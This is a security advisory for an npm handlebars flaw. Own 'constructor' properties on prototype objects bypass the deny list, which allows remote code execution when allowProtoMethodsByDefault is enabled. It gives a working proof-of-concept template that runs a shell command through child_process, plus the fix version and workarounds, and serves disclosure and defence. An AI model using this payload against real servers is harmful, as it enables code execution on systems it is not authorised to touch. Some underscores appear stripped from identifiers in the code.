GHSA-p8wg-vrv2-v86f: Npm/handlebars vulnerability
Summary
Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
lookupProperty trusts own properties:
js if (Object.prototype.hasOwnProperty.call(parent, propertyName)) { return result; }
Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:
js Function.prototype.constructor === Function; String.prototype.constructor === String; Object.prototype.constructor === Object;
As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.
Proof of Concept
An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:
1. Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function). 2. Access constructor via own property bypass: {{lookup (lookup myFunction "\\proto") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated. 3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).
javascript const Handlebars = require('handlebars');
// constructor deny list bypass via hasOwnProperty check in lookupProperty const template = Handlebars.compile( // construct code array from template string literal '{{#with a}}' + '{{lookup "" (push "return process.mainModule.require(\'childprocess\').execSync(\'id\').toString()")}}' + '{{lookup "" (pop)}}' + '{{lookup "" (shift)}}' + '{{/with}}' +
// access Function via own property bypass on Function.prototype.constructor '{{lookup "" (@root.a.push (lookup (lookup fn "proto") "constructor"))}}' +
// #each sets depth0=Function without calling it, apply avoids hash body '{{#each @root}}{{#if @index}}{{else}}' + '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' + '{{/if}}{{/each}}' );
const result = template( { fn: function(){}, a: [0] }, { allowProtoMethodsByDefault: true } );
console.log(result.trim());
// output: uid=1000(node) gid=1000(node) groups=1000(node)
Workarounds
Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/handlebarsto a version that resolves this vulnerability.Fixed in 4.7.10 - Configuration
Do not set allowProtoMethodsByDefault to true when compiling untrusted templates with untrusted data.
Handlebars allowProtoMethodsByDefault = false
Event History
Frequently Asked Questions
Which deployments are exposed to server-side code execution?
Deployments are exposed when an attacker can render a controlled Handlebars template and the template runtime uses allowProtoMethodsByDefault: true. Under those conditions, the attacker can obtain the Function constructor and execute arbitrary JavaScript on the server.
What capability does an attacker need beyond supplying template content?
The attacker must be able to make the template reach a prototype object whose constructor is an own property, such as Function.prototype, String.prototype, or Object.prototype. They can then access constructor without the prototype-access deny list being consulted.
How can I identify potentially affected usage in my application?
Review Handlebars rendering paths for templates influenced or supplied by untrusted users, and check whether allowProtoMethodsByDefault is set to true. Such paths are potentially affected if the template can traverse to a relevant prototype object.